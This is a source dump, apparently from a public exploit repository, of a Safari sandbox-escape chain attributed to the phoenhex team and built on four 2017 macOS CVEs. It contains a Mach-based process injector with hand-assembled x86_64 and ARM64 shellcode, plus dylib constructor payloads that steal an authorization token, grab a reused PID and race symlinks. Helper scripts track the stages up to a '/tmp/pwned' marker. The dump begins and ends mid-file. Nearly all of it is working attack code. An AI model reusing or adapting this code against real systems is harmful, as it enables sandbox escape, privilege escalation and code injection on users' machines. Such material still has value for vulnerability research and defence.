15 | if [[ $err != 0 ]]; then
16 | 	kill -9 %1
17 | 	exit 1
18 | fi
19 | fg %1
20 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/injector.c:
--------------------------------------------------------------------------------
  1 | #include 
  2 | #include 
  3 | #include 
  4 | #include 
  5 | #include 
  6 | #include 
  7 | #include 
  8 | #include 
  9 | #include 
 10 | #include 
 11 | #include 
 12 | 
 13 | #include 
 14 | #include 
 15 | 
 16 | #define X86_64
 17 | 
 18 | #ifdef __arm64__
 19 | //#include "mach/arm/thread_status.h"
 20 | 
 21 | // Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
 22 | // And I say, bullshit.
 23 | kern_return_t mach_vm_allocate
 24 | (
 25 |         vm_map_t target,
 26 |         mach_vm_address_t *address,
 27 |         mach_vm_size_t size,
 28 |         int flags
 29 | );
 30 | 
 31 | kern_return_t mach_vm_write
 32 | (
 33 |         vm_map_t target_task,
 34 |         mach_vm_address_t address,
 35 |         vm_offset_t data,
 36 |         mach_msg_type_number_t dataCnt
 37 | );
 38 | 
 39 | 
 40 | 
 41 | 
 42 | #else
 43 | #include 
 44 | #endif
 45 | 
 46 | 
 47 | #define STACK_SIZE (1024*1024*32)
 48 | #define CODE_SIZE 1024
 49 | 
 50 | // Due to popular request:
 51 | //
 52 | // Simple injector example (and basis of coreruption tool).
 53 | //
 54 | // If you've looked into research on injection techniques in OS X, you
 55 | // probably know about mach_inject. This tool, part of Dino Dai Zovi's
 56 | // excellent "Mac Hacker's Handbook" (a must read - kudos, DDZ) was
 57 | // created to inject code in PPC and i386. Since I couldn't find anything
 58 | // for x86_64 or ARM, I ended up writing my own tool.
 59 | 
 60 | // Since, this tool has exploded in functionality - with many other features,
 61 | // including scriptable debugging, fault injection, function hooking, code
 62 | // decryption,  and what not - which comes in *really* handy on iOS.
 63 | //
 64 | // coreruption is still closed source, due its highly.. uhm.. useful
 65 | // nature. But I'm making this sample free, and I have fully annotated this.
 66 | // The rest of the stuff you need is in Chapters 11 and 12 MOXiI 1, with more
 67 | // to come in the 2nd Ed (..in time for iOS 9 :-)
 68 | //
 69 | // Go forth and spread your code :-)
 70 | //
 71 | // J (info@newosxbook.com) 02/05/2014
 72 | //
 73 | // v2: With ARM64 -  06/02/2015 NOTE - ONLY FOR **ARM64**, NOT ARM32!
 74 | // Get the full bundle at - http://NewOSXBook.com/files/injarm64.tar
 75 | // with sample dylib and with script to compile this neatly.
 76 | //
 77 | //**********************************************************************
 78 | // Note ARM code IS messy, and I left the addresses wide apart. That's
 79 | // intentional. Basic ARM64 assembly will enable you to tidy this up and
 80 | // make the code more compact.
 81 | //
 82 | // This is *not* meant to be neat - I'm just preparing this for TG's
 83 | // upcoming OS X/iOS RE course (http://technologeeks.com/OSXRE) and thought
 84 | // this would be interesting to share. See you all in MOXiI 2nd Ed!
 85 | //**********************************************************************
 86 | 
 87 | 
 88 | // This sample code calls pthread_set_self to promote the injected thread
 89 | // to a pthread first - otherwise dlopen and many other calls (which rely
 90 | // on pthread_self()) will crash.
 91 | // It then calls dlopen() to load the library specified - which will trigger
 92 | // the library's constructor (q.e.d as far as code injection is concerned)
 93 | // and sleep for a long time. You can of course replace the sleep with
 94 | // another function, such as pthread_exit(), etc.
 95 | //
 96 | // (For the constructor, use:
 97 | //
 98 | // static void whicheverfunc() __attribute__((constructor));
 99 | //
100 | // in the library you inject)
101 | //
102 | // Note that the functions are shown here as "_PTHRDSS", "DLOPEN__" and "SLEEP___".
103 | // Reason being, that the above are merely placeholders which will be patched with
104 | // the runtime addresses when code is actually injected.
105 | //
106 | char injectedCode[] =
107 | #ifdef X86_64
108 |      /*"\xcc"                           //  int3*/
109 | 
110 |      "\x55"                           // pushq  %rbp
111 |      "\x48\x89\xe5"                   // movq   %rsp, %rbp
112 | 
113 |      "\x48\x83\xec\x20"               // subq   $32, %rsp
114 |      "\x89\x7d\xfc"                   // movl   %edi, -4(%rbp)
115 |      "\x48\x89\x75\xf0"               // movq   %rsi, -16(%rbp)
116 |      "\xb0\x00"                                    // movb   $0, %al
117 |      // call pthread_set_self
118 |      "\x48\xbf\x00\x00\x00\x00\x00\x00\x00\x00"    // movabsq $0, %rdi
119 |      "\x48\xb8" "_PTHRDSS"                           // movabsq $140735540045793, %rax
120 |      "\xff\xd0"                                    //    callq  *%rax
121 |      "\x48\xbe\x00\x00\x00\x00\x00\x00\x00\x00"    // movabsq $0, %rsi
122 |      "\x48\x8d\x3d\x3b\x00\x00\x00"                // leaq   59(%rip), %rdi
123 |      // DLOpen...
124 |      "\x48\xb8" "DLOPEN__" // movabsq $140735516395848, %rax
125 |      "\x48\xbe\x00\x00\x00\x00\x00\x00\x00\x00" //  movabsq $0, %rsi
126 |      "\xff\xd0"                       //   callq  *%rax
127 |      // DLClose...
128 |      "\x48\x89\xc7" //  movq %rax, %rdi
129 |      "\x48\xb8" "DLCLOSE_" // movabsq $140735516395848, %rax
130 |      "\xff\xd0"                       //   callq  *%rax
131 |      // Sleep(1000000)...
132 |      "\x48\xbf\x00\xe4\x0b\x54\x02\x00\x00\x00" //  movabsq $10000000000, %rdi
133 |      "\x48\xb8" "SLEEP___" // movabsq $140735516630165, %rax
134 |      "\xff\xd0"            //              callq  *%rax
135 | 
136 |      // plenty of space for a full path name here
137 |      "LIBLIBLIBLIB" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
138 |      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
139 |      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
140 |      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
141 |      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
142 |      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
143 |      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
144 |      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
145 |      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
146 |      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
147 | ;
148 | 
149 | #else
150 | 
151 | #error "ARM????"
152 |    // That's the ARM64 "shellcode"
153 |    "\x08\x03\x00\x58" // LDR X8, #3 ; load PTHREADSS
154 |    "\x00\x01\x3f\xd6" // BLR X8     ; do pthread_set_self
155 | 
156 |     "\x00\x01\x00\x10" // ADR X0, #32
157 |    "\x00\x40\x01\x91"  // ADD x0, x0, #0x50  ; X0 => "LIBLIBLIB...";
158 |    "\x08\x03\x00\x58"  // LDR X8, #3 ; load DLOPEN
159 |    "\x01\x00\x80\xd2"  // MOVZ X1, 0 ; X1 = 0;
160 |    "\x29\x01\x00\x91"  // ADD   x9, x9, 0  - I left this as a nop
161 |    // dlopen("LIBLIBLIB", 0);
162 |    "\x00\x01\x3f\xd6"  // BLR X8     ; do dlopen()
163 |    "\xa8\x00\x00\x58"  // LDR X8, #12 ; load PTHREADEXT
164 |    "\x00\x00\x80\xd2"  // MOVZ X0, 0 ; X1 = 0;
165 |    "\x00\x01\x3f\xd6"  // BLR X8     ; do pthread_exit
166 |    "\x00\x00\x20\xd4"  // BRK X0     ; // useful if you need a break :)
167 |     "XXXX"
168 |     "PTHRDEXT"   // <-
169 |     "AAAA"
170 |     "BCDEFGHI"
171 |     "JKLMNOPR"
172 |     "STUVWXYZ"
173 |     "!!!!!!!!"
174 |     "_PTHRDSS"  // <-
175 |     "PTHRDEXT"  //
176 |     "DLOPEN__"  // <-
177 |     "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
178 |     "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
179 |     "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
180 |     "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
181 |     "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
182 |     "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
183 | 
184 | #endif
185 | 
186 | int inject(pid_t pid, const char *lib) {
187 | 
188 | task_t remoteTask;
189 | 
190 | struct stat buf;
191 | 
192 | /**
193 |   * First, check we have the library. Otherwise, we won't be able to inject..
194 |   */
195 | 
196 |   int rc = stat (lib, &buf);
197 | 
198 |   if (rc != 0)
199 |   {
200 |    fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
201 |    //return (-9);
202 |    }
203 | 
204 | mach_error_t kr = 0;
205 | 
206 | /**
207 |   * Second - the critical part - we need task_for_pid in order to get the task port of the target
208 |   * pid. This is our do-or-die: If we get the port, we can do *ANYTHING* we want. If we don't, we're
209 |   * #$%#$%.
210 |   *
211 |   * In iOS, this will require the task_for_pid-allow entitlement. In OS X, this will require getting past
212 |   * taskgated, but root access suffices for that.
213 |   *
214 |   */
215 | kr = task_for_pid(mach_task_self(), pid, &remoteTask);
216 | if (kr != KERN_SUCCESS) {
217 | 
218 | 	fprintf (stderr, "Unable to call task_for_pid on pid %d: %s. Cannot continue!\n",pid, mach_error_string(kr));
219 | 	return (-1);
220 | }
221 | 
222 | 
223 | 
224 | 
225 | 
226 | 
227 | /**
228 |  * From here on, it's pretty much straightforward -
229 |  * Allocate stack and code. We don't really care *where* they get allocated. Just that they get allocated.
230 |  * So, first, stack:
231 |  */
232 | mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
233 | mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
234 | kr = mach_vm_allocate( remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
235 | 
236 | if (kr != KERN_SUCCESS)
237 | 	{
238 | 		fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
239 | 		return (-2);
240 | 	}
241 | else
242 | {
243 | 
244 | 	fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
245 | 
246 | }
247 | /**
248 |  * Then we allocate the memory for the thread
249 |  */
250 | remoteCode64 = (vm_address_t) NULL;
251 | kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
252 | 
253 | if (kr != KERN_SUCCESS)
254 | 	{
255 | 		fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
256 | 		return (-2);
257 | 	}
258 | 
259 | 
260 | 
261 |  /**
262 |    * Patch code before injecting: That is, insert correct function addresses (and lib name) into placeholders
263 |    *
264 |    * Since we use the same shared library cache as our victim, meaning we can use memory addresses from
265 |    * OUR address space when we inject..
266 |    */
267 | 
268 |  int i = 0;
269 |  char *possiblePatchLocation = (injectedCode );
270 |  for (i = 0 ; i < sizeof(injectedCode); i++)
271 |   {
272 | 
273 | 	// Patching is crude, but works.
274 |   	//
275 | 	extern void *_pthread_set_self;
276 | 	possiblePatchLocation++;
277 | 
278 | 
279 | 	uint64_t addrOfPthreadSetSelf = dlsym ( RTLD_DEFAULT, "_pthread_set_self"); //(uint64_t) _pthread_set_self;
280 | 	uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) _pthread_set_self;
281 |         uint64_t addrOfDlopen = (uint64_t) dlopen;
282 |         uint64_t addrOfDlclose = (uint64_t) dlclose;
283 |         uint64_t addrOfSleep = (uint64_t) sleep; // pthread_exit;
284 | 
285 | 	if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
286 | 	{
287 | 	   memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
288 | 
289 | 	   printf ("Pthread exit  @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
290 | 	}
291 | 
292 | 	if (memcmp (possiblePatchLocation, "_PTHRDSS", 8) == 0)
293 | 	{
294 | 	   memcpy(possiblePatchLocation, &addrOfPthreadSetSelf,8);
295 | 
296 | 	   printf ("Pthread set self @%llx\n", addrOfPthreadSetSelf);
297 | 	}
298 | 
299 | 	if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
300 | 	{
301 | 	   printf ("DLOpen @%llx\n", addrOfDlopen);
302 | 	   memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
303 | 
304 | 	}
305 | 
306 | 	if (memcmp(possiblePatchLocation, "DLCLOSE_", 8) == 0)
307 | 	{
308 | 	   printf ("DLClose @%llx\n", addrOfDlclose);
309 | 	   memcpy(possiblePatchLocation, &addrOfDlclose, sizeof(uint64_t));
310 | 
311 | 	}
312 | 
313 | 	if (memcmp(possiblePatchLocation, "SLEEP___", 6) == 0)
314 | 	{
315 | 	   printf ("Sleep @%llx\n", addrOfSleep);
316 | 	   memcpy(possiblePatchLocation, &addrOfSleep, sizeof(uint64_t));
317 | 
318 | 	}
319 | 
320 | 	if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
321 | 	{
322 | 
323 | 	   strcpy(possiblePatchLocation, lib );
324 | 
325 | 	}
326 | 
327 | 
328 | 
329 | 
330 | 
331 |   }
332 | 
333 | 	/**
334 |   	  * Write the (now patched) code
335 | 	  */
336 | 	kr = mach_vm_write(remoteTask,                   // Task port
337 | 	                   remoteCode64,                 // Virtual Address (Destination)
338 | 	                   (vm_address_t) injectedCode,  // Source
339 | 	                    sizeof(injectedCode));                       // Length of the source
340 | 
341 | 
342 | 
343 |        if (kr != KERN_SUCCESS)
344 | 	{
345 | 		fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
346 | 		return (-3);
347 | 	}
348 | 
349 | 
350 |         /*
351 | 	 * Mark code as executable - This also requires a workaround on iOS, btw.
352 | 	 */
353 | 
354 |         kr  = vm_protect(remoteTask, remoteCode64, sizeof(injectedCode), FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
355 | 
356 | 	/*
357 |    	 * Mark stack as writable  - not really necessary
358 | 	 */
359 | 
360 |         kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
361 | 
362 | 
363 |         if (kr != KERN_SUCCESS)
364 | 	{
365 | 		fprintf(stderr,"Unable to set memory permissions for remote thread: Error %s\n", mach_error_string(kr));
366 | 		return (-4);
367 | 	}
368 | 
369 | 
370 |         /**
371 |  	  *
372 |  	  * Create thread - This is obviously hardware specific.
373 | 	  *
374 | 	  */
375 | 
376 | #ifdef X86_64
377 |         x86_thread_state64_t remoteThreadState64;
378 | #else
379 | 	// Using unified thread state for backporting to ARMv7, if anyone's interested..
380 | 	struct arm_unified_thread_state remoteThreadState64;
381 | #endif
382 |         thread_act_t         remoteThread;
383 | 
384 |         memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
385 | 
386 |         remoteStack64 += (STACK_SIZE / 2); // this is the real stack
387 | 	remoteStack64 -= 8;  // need alignment of 16
388 | 
389 |         const char* p = (const char*) remoteCode64;
390 | #ifdef X86_64
391 |         remoteThreadState64.__rip = (u_int64_t) (vm_address_t) remoteCode64;
392 | 
393 |         // set remote Stack Pointer
394 |         remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
395 |         remoteThreadState64.__rbp = (u_int64_t) remoteStack64;
396 | #else
397 | 
398 | 	// Note the similarity - all we change are a couple of regs.
399 | 	remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
400 | 	remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
401 | 	remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
402 | 	remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
403 | // __uint64_t    __x[29];  /* General purpose registers x0-x28 */
404 | #endif
405 | 
406 | 	printf ("Remote Stack 64  0x%llx, Remote code is %p\n", remoteStack64, p );
407 | 
408 | 	/*
409 | 	 * create thread and launch it in one go
410 | 	 */
411 | #ifdef X86_64
412 | kr = thread_create_running( remoteTask, x86_THREAD_STATE64,
413 | (thread_state_t) &remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread );
414 | #else // __arm64__
415 | kr = thread_create_running( remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
416 | (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
417 | 
418 | #endif
419 | 
420 | if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
421 | 			  return (-3); }
422 | 
423 | return (0);
424 | 
425 | } // end injection code
426 | 
427 | 
428 | 
429 | int main(int argc, const char * argv[])
430 | {
431 |  if (argc < 3)
432 | 	{
433 | 		fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
434 | 		fprintf (stderr, "   _action_: path to a dylib on disk\n");
435 | 		exit(0);
436 | 	}
437 | 
438 |         pid_t pid = atoi(argv[1]);
439 |         const char *action = argv[2];
440 |         struct stat buf;
441 | 
442 |         int rc = stat (action, &buf);
443 |         if (rc == 0) inject(pid,action);
444 |         else
445 |         {
446 |                 fprintf(stderr,"Dylib not found\n");
447 |                 exit(1);
448 |         }
449 | }
450 | 
451 | #if 0
452 | 
453 | 
454 | tatic void con() __attribute__((constructor));
455 | 
456 | void con() {
457 | 
458 |     printf("I'm a constructor\n");
459 | 
460 | }
461 | 
462 | #endif
463 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/log_server.py:
--------------------------------------------------------------------------------
 1 | import argparse
 2 | import socket
 3 | import sys
 4 | import threading
 5 | import time
 6 | 
 7 | start_time = time.time()
 8 | 
 9 | def cur():
10 |     t = time.time() - start_time
11 |     return '%02d:%02d.%03d' % (t//60, t%60, int(t * 1000) % 1000)
12 | 
13 | def recv_until(sock, term):
14 |     buf = ''
15 |     while True:
16 |         c = sock.recv(1)
17 |         if not c:
18 |             return None
19 |         if c == term:
20 |             return buf
21 |         buf += c
22 | 
23 | def log_handler(client, addr):
24 |     print '[*] Got logging connection from %s:%d' % addr
25 |     while True:
26 |         svc = recv_until(client, ':')
27 |         if svc is None:
28 |             return
29 |         line = recv_until(client, '\n')
30 |         if line is None:
31 |             return
32 |         sys.stdout.write('[%s %.4s] %s\n' % (cur(), svc, line))
33 |         sys.stdout.flush()
34 | 
35 | class ThreadedTCPServer(object):
36 |     def __init__(self, host, port, handler):
37 |         self.host = host
38 |         self.port = port
39 |         self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
40 |         self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
41 |         self.sock.bind((self.host, self.port))
42 |         self.handler = handler
43 | 
44 |     def listen(self):
45 |         self.sock.listen(5)
46 |         while True:
47 |             client, addr = self.sock.accept()
48 |             t = threading.Thread(target = self.handler, args = (client, addr))
49 |             t.daemon = True
50 |             t.start()
51 | 
52 | if __name__ == '__main__':
53 |     p = argparse.ArgumentParser()
54 |     p.add_argument('--host', default='127.0.0.1')
55 |     p.add_argument('--port', type=int, default=1337)
56 |     args = p.parse_args()
57 | 
58 |     print '[*] Listening on %s:%d' % (args.host, args.port)
59 |     ThreadedTCPServer(args.host, args.port, log_handler).listen()
60 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/proc.h:
--------------------------------------------------------------------------------
 1 | // http://stackoverflow.com/questions/18820199/unable-to-detect-application-running-with-another-user-via-switch-user/18821357#18821357
 2 | typedef struct kinfo_proc kinfo_proc;
 3 | struct proc_list {
 4 |   kinfo_proc *procList;
 5 |   size_t procCount;
 6 | } proc_list;
 7 | 
 8 | int get_process_list() {
 9 |   int                 err;
10 |   kinfo_proc *        result;
11 |   bool                done;
12 |   static const int    name[] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 };
13 |   size_t              length;
14 | 
15 |   proc_list.procCount = 0;
16 | 
17 |   result = NULL;
18 |   done = false;
19 |   do {
20 |     assert(result == NULL);
21 | 
22 |     length = 0;
23 |     err = sysctl( (int *) name, (sizeof(name) / sizeof(*name)) - 1,
24 |                   NULL, &length,
25 |                   NULL, 0);
26 |     if (err == -1) {
27 |         err = errno;
28 |     }
29 | 
30 |     if (err == 0) {
31 |       result = malloc(length);
32 |       if (result == NULL) {
33 |         err = ENOMEM;
34 |       }
35 |     }
36 | 
37 |     if (err == 0) {
38 |       err = sysctl( (int *) name, (sizeof(name) / sizeof(*name)) - 1,
39 |                     result, &length,
40 |                     NULL, 0);
41 |       if (err == -1) {
42 |         err = errno;
43 |       }
44 |       if (err == 0) {
45 |         done = true;
46 |       } else if (err == ENOMEM) {
47 |         assert(result != NULL);
48 |         free(result);
49 |         result = NULL;
50 |         err = 0;
51 |       }
52 |     }
53 |   } while (err == 0 && ! done);
54 | 
55 |   if (err != 0 && result != NULL) {
56 |     free(result);
57 |     result = NULL;
58 |   }
59 |   proc_list.procList = result;
60 |   if (err == 0) {
61 |     proc_list.procCount = length / sizeof(kinfo_proc);
62 |   }
63 |   assert( (err == 0) == (proc_list.procList != NULL) );
64 |   return err;
65 | }
66 | 
67 | bool have_pid(pid_t pid) {
68 |   for (size_t i = 0; i < proc_list.procCount; ++i)
69 |     if (proc_list.procList[i].kp_proc.p_pid == pid)
70 |       return 1;
71 |   return 0;
72 | }
73 | 
74 | pid_t pid_for_proc(const char* name) {
75 |   assert(!get_process_list());
76 |   for (size_t i = 0; i < proc_list.procCount; ++i) {
77 |     if (!strncmp(proc_list.procList[i].kp_proc.p_comm, name, strlen(name)))
78 |       return proc_list.procList[i].kp_proc.p_pid;
79 |   }
80 |   return 0;
81 | }
82 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/progress.py:
--------------------------------------------------------------------------------
 1 | import os
 2 | import time
 3 | import glob
 4 | 
 5 | start = time.time()
 6 | def cur():
 7 |     t = time.time() - start
 8 |     return '%d mins %d secs' % (t//60, t%60)
 9 | 
10 | log = "/cores/log_webcontent*"
11 | 
12 | while not glob.glob(log):
13 |     time.sleep(1)
14 | print "Stage one finished at %s" % cur()
15 | 
16 | fname = glob.glob(log)[0]
17 | while True:
18 |     with open(fname) as f:
19 |         if "Success!" in f.read():
20 |             break
21 |     time.sleep(1)
22 | print "Stage two finished at %s" % cur()
23 | 
24 | while not os.path.exists("/tmp/pwned"):
25 |     time.sleep(1)
26 | 
27 | print "Exploit took %s" % cur()
28 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/restart_ssd.swift:
--------------------------------------------------------------------------------
 1 | import Foundation
 2 | import XPC
 3 | 
 4 | let connection = xpc_connection_create_mach_service("com.apple.speech.speechsynthesisd", nil, 0)
 5 | xpc_connection_set_event_handler(connection) { print("Message received: " + $0.description) }
 6 | xpc_connection_resume(connection);
 7 | 
 8 | var msg = xpc_dictionary_create(nil, nil, 0)
 9 | xpc_dictionary_set_int64(msg, "msg", 120)
10 | xpc_dictionary_set_data(msg, "voiceSpec", "1337", 4)
11 | xpc_dictionary_set_bool(msg, "allVoices", true)
12 | 
13 | let reply = xpc_connection_send_message_with_reply_sync(connection, msg);
14 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/ssd1.c:
--------------------------------------------------------------------------------
 1 | // Exploit using following bugs to escape Safari sandbox:
 2 | //
 3 | // * CVE-2017-2533: TOCTOU in diskarbitrationd
 4 | // * CVE-2017-2535: PID reuse logic bug in authd
 5 | // * CVE-2017-2534: Arbitrary dylib loading in speechsynthesisd
 6 | // * CVE-2017-6977: NULL ptr dereference in nsurlstoraged
 7 | //
 8 | // by phoenhex team (niklasb & saelo)
 9 | //
10 | // see LICENSE
11 | #include 
12 | #include 
13 | #include 
14 | #include 
15 | 
16 | #include 
17 | #include 
18 | 
19 | #include 
20 | #include 
21 | #include 
22 | #include 
23 | #include 
24 | 
25 | #include "workdir.h"
26 | #include "common.h"
27 | #include "proc.h"
28 | 
29 | AuthorizationExternalForm token;
30 | int token_pid;
31 | 
32 | void acquire_token() {
33 |   AuthorizationRef auth;
34 |   assert(!AuthorizationCreate( NULL, NULL, kAuthorizationFlagDefaults, &auth));
35 |   assert(!AuthorizationMakeExternalForm(auth, &token));
36 |   token_pid = getpid();
37 | }
38 | 
39 | __attribute__((constructor))
40 | void _injection() {
41 |   chdir(workdir);
42 |   init("ssd1");
43 |   acquire_token();
44 |   log("Token acquired\n");
45 | 
46 |   /*
47 |   log("token = ");
48 |   for (int i = 0; i < kAuthorizationExternalFormLength; ++i) {
49 |     if (i && i % 4 == 0) log(" ");
50 |     log("%02x", (int)(unsigned char)token.bytes[i]);
51 |   }
52 |   */
53 |   log("Token PID = %d\n", token_pid);
54 | 
55 |   write_file("token", token.bytes, kAuthorizationExternalFormLength);
56 |   write_file("token_pid", &token_pid, sizeof token_pid);
57 |   wait_for_file("token_imported");
58 |   log("Cya!\n");
59 |   write_marker("ssd1_done");
60 | 
61 |   // kill process
62 |   _exit(0);
63 | }
64 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/ssd2.c:
--------------------------------------------------------------------------------
  1 | // Exploit using following bugs to escape Safari sandbox:
  2 | //
  3 | // * CVE-2017-2533: TOCTOU in diskarbitrationd
  4 | // * CVE-2017-2535: PID reuse logic bug in authd
  5 | // * CVE-2017-2534: Arbitrary dylib loading in speechsynthesisd
  6 | // * CVE-2017-6977: NULL ptr dereference in nsurlstoraged
  7 | //
  8 | // by phoenhex team (niklasb & saelo)
  9 | //
 10 | // see LICENSE
 11 | #include 
 12 | #include 
 13 | #include 
 14 | #include 
 15 | 
 16 | #include 
 17 | #include 
 18 | 
 19 | #include 
 20 | #include 
 21 | #include 
 22 | #include 
 23 | #include 
 24 | 
 25 | #include "workdir.h"
 26 | #include "common.h"
 27 | #include "proc.h"
 28 | 
 29 | pid_t token_pid;
 30 | 
 31 | int last_pid;
 32 | bool grab_loop(pid_t target) {
 33 |   assert(target);
 34 |   last_pid = -1;
 35 |   if (getpid() == target)
 36 |     return 1;
 37 |   for (;;) {
 38 |     pid_t res = vfork();
 39 |     if (res < 0) return 0;
 40 |     if (res > 0) last_pid = res;
 41 |     if (res == target) return 1;
 42 |     if (res == 0) _exit(0);
 43 |   }
 44 |   assert(0);
 45 | }
 46 | 
 47 | void grab(pid_t target) {
 48 |   for(int i = 0; ; ++i) {
 49 |     /*printf("Iteration %d\n", i);*/
 50 | 
 51 |     int res = fork();
 52 |     assert(res >= 0);
 53 |     if (res > 0) {
 54 |       // parent
 55 |       int status;
 56 |       waitpid(res, &status, 0);
 57 |       if (status == 0) return;
 58 |     } else {
 59 |       // child
 60 |       bool res = grab_loop(target);
 61 |       // kill zombies
 62 |       waitpid(-1,0,0);
 63 |       /*printf("Progress: %d / %d\n", last_pid, target);*/
 64 |       _exit(res ? 0 : 1);
 65 |     }
 66 |   }
 67 | }
 68 | 
 69 | void symlink_race() {
 70 |   for(;;) {
 71 |     int f = open("stop_mount_race", 0);
 72 |     if (f >= 0) {
 73 |       log("Done\n");
 74 |       close(f);
 75 |       return;
 76 |     }
 77 |     //log("Another round\n");
 78 |     for(int i = 0; i < 100; ++i) {
 79 |       unlink("pwn");
 80 |       symlink("mnt", "pwn");
 81 |       unlink("pwn");
 82 |       symlink("/private/var/at", "pwn");
 83 |     }
 84 |   }
 85 | }
 86 | 
 87 | __attribute__((constructor))
 88 | void _injection() {
 89 |   chdir(workdir);
 90 |   init("ssd2");
 91 | 
 92 |   int f1 = wait_for_file("token_pid");
 93 |   readall(f1, (char*)&token_pid, sizeof token_pid, true);
 94 | 
 95 |   log("token_pid = %d\n", token_pid);
 96 |   assert(!get_process_list());
 97 |   assert(!have_pid(token_pid));
 98 | 
 99 |   // TODO find good compromise here between speed and reliability
100 |   const int holes = 3;
101 |   pid_t target = token_pid;
102 |   int seen = 0;
103 |   while (seen < holes) {
104 |     --target;
105 |     seen += !have_pid(target);
106 |   }
107 |   assert(target > 10);
108 | 
109 |   log("Grabbing PID %d\n", target);
110 |   grab(target);
111 | 
112 |   assert(!get_process_list());
113 |   assert(!have_pid(token_pid));
114 |   write_marker("hole_done");
115 | 
116 |   log("Done. Waiting for mount race to start.\n");
117 | 
118 |   int fd = wait_for_file("ssd2_next_step");
119 |   log("Reading step file\n");
120 |   char step[10] = {0};
121 |   readall(fd, step, 4, true);
122 |   log("Next step: %s.\n", step);
123 |   write_marker("ssd2_next_step_ack");
124 |   if (!strncmp(step, "exit", 4)) {
125 |     log("Exiting without starting race.\n");
126 |     _exit(0);
127 |   }
128 | 
129 |   log("Starting race\n");
130 |   symlink_race();
131 |   log("Done. Cya\n");
132 |   _exit(0);
133 | }
134 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/webcontent.c:
--------------------------------------------------------------------------------
  1 | // Exploit using following bugs to escape Safari sandbox:
  2 | //
  3 | // * CVE-2017-2533: TOCTOU in diskarbitrationd
  4 | // * CVE-2017-2535: PID reuse logic bug in authd
  5 | // * CVE-2017-2534: Arbitrary dylib loading in speechsynthesisd
  6 | // * CVE-2017-6977: NULL ptr dereference in nsurlstoraged
  7 | //
  8 | // by phoenhex team (niklasb & saelo)
  9 | //
 10 | // see LICENSE
 11 | #include 
 12 | #include 
 13 | #include 
 14 | #include 
